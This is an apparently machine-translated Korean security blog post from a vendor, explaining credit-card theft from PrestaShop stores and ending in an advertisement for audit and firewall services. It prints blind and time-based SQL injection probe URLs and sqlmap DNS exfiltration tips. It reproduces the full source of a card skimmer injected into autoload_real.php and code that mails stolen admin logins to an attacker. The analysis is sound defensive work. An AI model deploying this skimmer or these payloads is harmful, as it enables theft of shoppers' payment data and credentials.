Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

PrestaShop Store에서 신용카드 정보를 도난당했습니다. PrestaShop에서 신용 카드 맬웨어 해킹을 수정하는 방법은 무엇입니까?

온라인 거래는 비즈니스 수행의 용이성에 확실히 추가되었습니다. 그러나 이러한 용이함에는 보안에 대한 책임이 따릅니다. Prestashop과 함께 운영되는 전자 상거래 상점에는 민감한 정보가 많이 포함되어 있습니다. 여기에는 사용자의 신용 카드 정보가 포함됩니다. 따라서 이 데이터는 공격자의 무익한 표적이 됩니다. Prestashop 신용 카드 도용은 이 전자 상거래 솔루션의 인기로 인해 증가했습니다. 설치 및 유지 보수가 용이하다는 점을 인정받을 수 있습니다. PrestaShop 1.5 초보자 가이드 책에 따르면 ,

Prestashop 신용 카드 도용:증상

Prestashop 신용 카드 도용은 여러 가지 방법으로 수행될 수 있습니다. 서버 또는 Javascript 라인의 악성 스크립트일 수 있습니다. 종종 SQL 인젝션이나 피싱 페이지가 될 수 있습니다. 따라서 이러한 가능성의 다양성은 감지하기 어렵게 만듭니다. 그러나 다음과 같은 몇 가지 징후가 공격에 영향을 줄 수 있습니다.

  • Sqlmap과 같은 이전에 알려지지 않은 데이터베이스 테이블 나타납니다.
  • 알 수 없는 관리자 계정이 대시보드에 나타납니다.
  • 고객의 신용카드 도난
  • 알 수 없는 IP에서 대시보드에 로그인합니다.
  • 알 수 없는 새로운 페이지가 사이트에 나타납니다.
  • 사이트가 알 수 없는 도메인으로 리디렉션됩니다.
  • Wireshark 패킷 분석은 비정상적 도메인으로 나가는 데이터를 보여줍니다.
  • 사용자가 결제 관련 문제에 대해 불평합니다.
  • 서버 로그에 무차별 대입 시도 또는 SQL 삽입 시도가 표시됩니다.
PrestaShop Store에서 신용카드 정보를 도난당했습니다. PrestaShop에서 신용 카드 맬웨어 해킹을 수정하는 방법은 무엇입니까?

Prestashop 스토어에서 신용카드 정보가 도난당하고 있습니까?. 채팅 위젯에 메시지를 남겨주세요. 기꺼이 도와드리겠습니다. 지금 내 Prestashop 웹사이트를 수정하세요.

Prestashop 신용 카드 도용:원인

Prestashop의 SQL 주입

SQL 주입은 Prestashop 저장소의 데이터베이스를 손상시킬 수 있습니다. SQLi의 주요 원인은 입력 삭제가 부족하기 때문입니다. 개발자는 종종 안전한 코딩 방법을 배포하지 않습니다. 그 결과 SQLi 및 XSS와 같은 취약점이 코드에서 발생합니다. Prestashop에 대한 제로 데이 SQLi 익스플로잇은 2014년에 게시되었습니다. 취약한 구성 요소는 id_manifacturer였습니다. . 전체 URL은 아래와 같습니다.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL 주입]

다음 URL에서 id_manufacturer 뒤에 문장을 삽입할 수 있습니다. 또한 이것은 일종의 Blind SQLi였습니다. 따라서 기본적으로 데이터는 부울 형식으로만 추출될 수 있습니다. 때때로 개발자는 내부 오류를 억제합니다. 이는 공격자가 취약점을 발견하는 것을 방지하기 위해 수행됩니다. 그러나 서버가 여전히 명령문을 실행 중인 경우 데이터를 부울 형식으로 추출할 수 있습니다. 이것은 블라인드 SQLi의 경우입니다. 그러나 데이터베이스의 내용을 읽으려면 여러 요청을 해야 합니다. 이로 인해 수동 악용에 시간이 많이 걸립니다. 블라인드 SQLi를 확인하려면.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1

먼저 이 문이 true로 실행되는지 확인합니다. 둘째, where=3 and 1=2 거짓으로 실행합니다. 그렇다면 이것은 확실히 블라인드 SQLi의 경우입니다. 그러나 때때로 시간 기반 블라인드 SQLi가 될 수 있습니다. 이 상황에서 서버는 일정 시간 후에 부울 피드백을 제공합니다. 예를 들어.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)

여기서 사용자는 10초 동안 기다려야 합니다. . 이후 서버는 쿼리에 따라 참 또는 거짓 응답을 보냅니다.

자동 악용

이를 악용하는 것은 힘든 작업으로 보일 수 있습니다. 그러나 사용할 수 있는 자동화 도구가 있습니다. Sqlmap은 공격자에게 매우 쉽게 이를 악용할 수 있습니다. 이후 공격자는 ps_payment_cc 테이블을 읽을 수 있습니다. . 이 테이블에는 id_order_payment,card_number,card_brand,card_expiration 열이 있습니다. . 따라서 저장된 전체 카드 세부 정보를 훔칩니다. 테이블이 큰 경우 공격자는 DNS 쿼리를 사용하여 공격 속도를 높일 수 있습니다. Sqlmap에는 --dns-domain= 옵션이 제공됩니다. . 따라서 공격자는 느린 시간 기반 출력 대신 DNS 쿼리를 사용하여 데이터를 유출할 수 있습니다. 그러나 공격자는 DNS 서버로 등록된 시스템을 제어해야 합니다. 따라서 서버에서 나가는 DNS 쿼리에 대한 탭을 유지하는 것이 중요합니다. 단, 사용자의 신용카드 정보는 서버에 저장하지 않는 것이 좋습니다. 관리자가 정기적인 Prestashop 보안 감사 및 침투 테스트를 수행하지 않는 한. 하지만 개발자가 준비된 명령문을 사용했다면 이 모든 것을 피할 수 있었을 것입니다!

Prestashop 신용 카드 악성 코드

때때로 Prestashop의 신용 카드 해킹은 사이트의 악성 스크립트로 인해 발생할 수 있습니다. 공격자는 먼저 알려진 기술을 사용하여 사이트를 악용합니다. 대부분의 경우 OWASP의 상위 10개 중 하나입니다. 이후에 악성코드가 설치됩니다. 이 악성코드는 먼저 데이터베이스에 연결합니다. 그런 다음 데이터베이스에서 신용 카드 정보를 훔칩니다. 일반적으로 ps_payment_cc에 포함되어 있습니다. 표.

PrestaShop Store에서 신용카드 정보를 도난당했습니다. PrestaShop에서 신용 카드 맬웨어 해킹을 수정하는 방법은 무엇입니까?

위에 주어진 것은 PrestaShop 신용 카드 하이재킹 스크립트의 코드 스니펫입니다. 여기서 스크립트는 먼저 데이터베이스에 연결합니다. 그 후 데이터베이스에서 신용 카드 정보를 훔칩니다.

/vendor/composer/autoload_real.php을 감염시키는 신용카드 악성코드를 하나 더 살펴보겠습니다. 파일

class SiF
{
function __construct($conf)
{
$this->encrypt = FALSE;
$this->in = $_POST;
$this->test = isset($this->in['siftest']);
$conf = explode('SiF', str_rot13($conf));
if(count($conf)!=2)return;
$this->key = $conf[0];
$conf = explode('|', base64_decode($conf[1]));
$s = array_shift($conf);
$s = explode(';;', $s);
$this->conf = array();
foreach($s AS $d)
{
$d = explode('::', $d);
if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]);
}
array_shift($conf);
$this->data = $conf;
$this->get();
if($this->test) $this->out('[sifok]');
} function get() { if($this->search($this->data[0])===FALSE) return; foreach($this->data AS $i => $v) { $v = $this->search($v); $this->data[$i] = $v===FALSE ? '' : $this->crypt($v); } $this->set(); } function set() { $data = implode('|', $this->data); $data = $this->crypt('SiF').'|'.$data; if(!$this->encrypt) $data = base64_encode($data); $data = $this->post_fgc($data); if($this->test) $this->out($data); } function get_fgc($data) { $url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data); if($this->test) $url .= '&test'; return file_get_contents($url); } function post_fgc($data) { $data = array($this->conf['param'] => $data); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); return file_get_contents($this->conf['url'], false, $context); } function search($key) { $f = $this->in; if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)) { foreach($a[1] AS $v) { if(is_array($f) && isset($f[$v])) $f = $f[$v]; else return FALSE; } return $f; } return FALSE; } function crypt($s) { if(function_exists('openssl_public_encrypt')) { $key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----"; if(@openssl_public_encrypt($s, $code, $key)) { $this->encrypt = TRUE; return base64_encode($code); } } return $s; } function out($s) { echo $s; exit; } } new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'

악성 스크립트는 공격의 두 번째 단계입니다. 첫 번째 단계에서 일부 알려진 취약점이 악용됩니다. 그 후 자격 증명 도용 스크립트가 업로드됩니다. 따라서 일반적으로 데이터베이스에 데이터를 저장하지 않는 것이 좋습니다. 전자 상거래 상점의 경우 보안 감사 및 침투 테스트를 수행하여 웹사이트에 맬웨어가 삽입될 수 있는 모든 가능한 방법을 찾는 것이 좋습니다.

PrestaShop Store에서 신용카드 정보를 도난당했습니다. PrestaShop에서 신용 카드 맬웨어 해킹을 수정하는 방법은 무엇입니까?

피싱

피싱은 대규모 Prestashop 신용 카드 도용을 수행하는 데 사용될 수 있습니다. 공격자는 기본적으로 가짜 로그인 페이지를 만듭니다. 사용자가 구분하지 못할 수 있습니다. 따라서 Prestashop에서 신용 카드 해킹으로 이어지는 민감한 정보를 공개할 수 있습니다. 이러한 페이지는 여러 가지 방법으로 생성되었을 수 있습니다. 그 중 일부는 다음과 같습니다.

  • XSS :공격자는 XSS를 사용하여 악성 도메인에서 악성 스크립트를 로드합니다. 이 스크립트는 원본 페이지의 내용을 덮어씁니다. 페이지가 피싱 로그인 페이지로 대체되었습니다. 그 후 사용자는 해당 페이지에서 정보를 제출했습니다. 피싱 페이지가 이 정보를 공격자가 제어하는 ​​도메인으로 전달했습니다.
  • SQLi :공격자가 SQL 인젝션을 사용하여 리버스 쉘을 획득했을 수 있습니다. 이 리버스 셸을 사용하여 공격자는 원래 결제 페이지를 피싱 페이지로 교체했을 수 있습니다.
  • FTP :FTP 포트가 인터넷에 열려 있습니다. 그 후 공격자는 로그인 자격 증명을 얻었을 수 있습니다. 그 후 피싱 페이지가 생성되었습니다.
  • 제로데이 :공격자는 제로데이 취약점으로 인해 리버스 셸을 획득했을 수 있습니다. 설치가 오래되었기 때문입니다. 따라서 가짜 결제 페이지가 생성됩니다. 따라서 Prestashop 신용 카드 도용으로 이어집니다!

약한 자격 증명

약한 자격 증명은 Prestashop 신용 카드 도용의 주요 원인입니다. 약한 암호는 무차별 대입 공격을 사용하여 깨뜨릴 수 있습니다. 공격자가 암호를 얻으면 대시보드가 ​​열립니다. 여기에서 일부 공격자는 다른 접근 방식을 적용합니다. 수동적으로 대기하고 데이터베이스에서 등록 정보를 수집하는 대신. 공격자는 해당 정보를 동적으로 보내는 코드가 있는 페이지를 삽입합니다. 예를 들어, 악성코드 유형은 /controllers/admin/AdminLoginController.php 파일에 코드를 삽입합니다. . 악성 코드는 일반적으로 다음과 같습니다.

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "[email protected]";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <[email protected]>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

여기서 처음 몇 줄의 코드는 모든 변수를 수집합니다. 그 후 PHP 기능은 공격자의 계정으로 메일을 보냅니다. 이 경우 [email protected]이었습니다. . 전송된 다양한 매개변수는 다음과 같습니다.

  • 받는 사람: 여기에는 데이터를 보낼 공격자의 이메일 ID가 포함됩니다. 이 경우 [email protected]입니다. .
  • 제목: 여기에는 panel admin prestashop www.infectedDomain.com 메시지가 포함되어 있습니다. .
  • 헤더: 헤더 부분에는 hacked <[email protected]> 메시지가 포함됩니다. .
  • 메시지 파트 1 :이 매개변수에는 모든 민감한 정보가 포함됩니다. 여기에는 감염된 도메인이 포함됩니다. 이 경우 https://www.attackeddomain.com . 그 후 /admins/ajax-tab.php?rand=1470989908670&up=hous인 URI . 그 뒤에 [email protected]인 이메일이 옵니다. . 그리고 마지막으로 비밀번호입니다. 이것은 사용자가 입력한 임의의 문자열일 수 있습니다. 마침내 by bajatax — sniper :v인 임의의 텍스트 .
  • 메시지 파트 2 :메시지의 두 번째 부분에는 감염된 파일의 로컬 경로가 포함됩니다. 이 경우 /usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php .

그러나 악성코드 발견 이후 구글은 공격자의 Gmail 계정을 차단했습니다. 그 후 이 악성코드의 새로운 변종이 발견되었습니다. 공격자에게 메일을 보낼 수 있는지 먼저 확인했습니다. 그렇지 않은 경우 세부 정보가 uspas.txt라는 로컬 파일에 저장되었습니다. . 다음 단계에서 공격자는 사용자의 가입과 유사하게 신용 카드 정보를 얻을 수 있습니다. 이것으로 Prestashop 신용 카드 도용을 마치겠습니다!

Prestashop 보안 감사 및 방화벽

Astra 보안 감사

Prestashop 매장을 안전하게 유지하려면 허점을 찾는 것이 중요합니다. 이는 완전한 보안 감사를 통해서만 공개될 수 있습니다. 시장에는 여러 솔루션이 있습니다. Astra가 제공하는 것과 같습니다.

Astra와의 계약은 다음 서비스를 제공합니다.

  1. SQLi, XSS, 스팸 등과 같은 알려진 일반적인 취약점 및 기타 80개 이상의 취약점
  2. 취약점 평가 및 침투 테스트(VAPT)
  3. 가격 조작 결함도 감지합니다. 또한 비즈니스 로직 오류도 찾을 수 있습니다.
  4. 정적 및 동적 코드 분석
  5. 패칭 기술 지원에서 발견된 보안 취약점
  6. 취약점 보고를 위한 협업 클라우드 대시보드
  7. 보안 도구/API에 대한 액세스
  8. 웹 보안 모범 사례 컨설팅
  9. 인터넷에 개방된 포트를 찾습니다.
  10. 몇 가지 알려진 서버 구성 오류를 찾습니다.
  11. 클릭재킹 감지.
  12. 인증 및 승인이 손상되었습니다.
  13. 권한 상승 버그를 찾습니다.
  14. 타사 플러그인 등의 취약점

테스트는 웹사이트 및 요구 사항에 따라 고도로 맞춤화되고 맞춤화됩니다.

보안 테스트의 일반적인 범위:

  1. 고객 웹 애플리케이션
  2. 결제 처리 및 통합
  3. 관리 포털
  4. API 및 웹 서비스

아스트라 방화벽

Prestashop 방화벽은 Prestashop 스토어에 대한 무단 액세스를 차단합니다. 들어오는 모든 트래픽이 검색됩니다. 따라서 악의적인 요청이 삭제됩니다. Astra 방화벽은 맬웨어 업로드를 검색합니다. Prestashop 신용 카드 하이재킹 스크립트를 업로드하려는 모든 시도가 차단됩니다. Astra는 로그인 활동도 추적합니다. 따라서 대시보드가 ​​손상되면 사용자에게 알립니다. 그 외에도 Astra는 설치가 최신 상태인지 확인합니다. 따라서 상점을 24시간 보호합니다!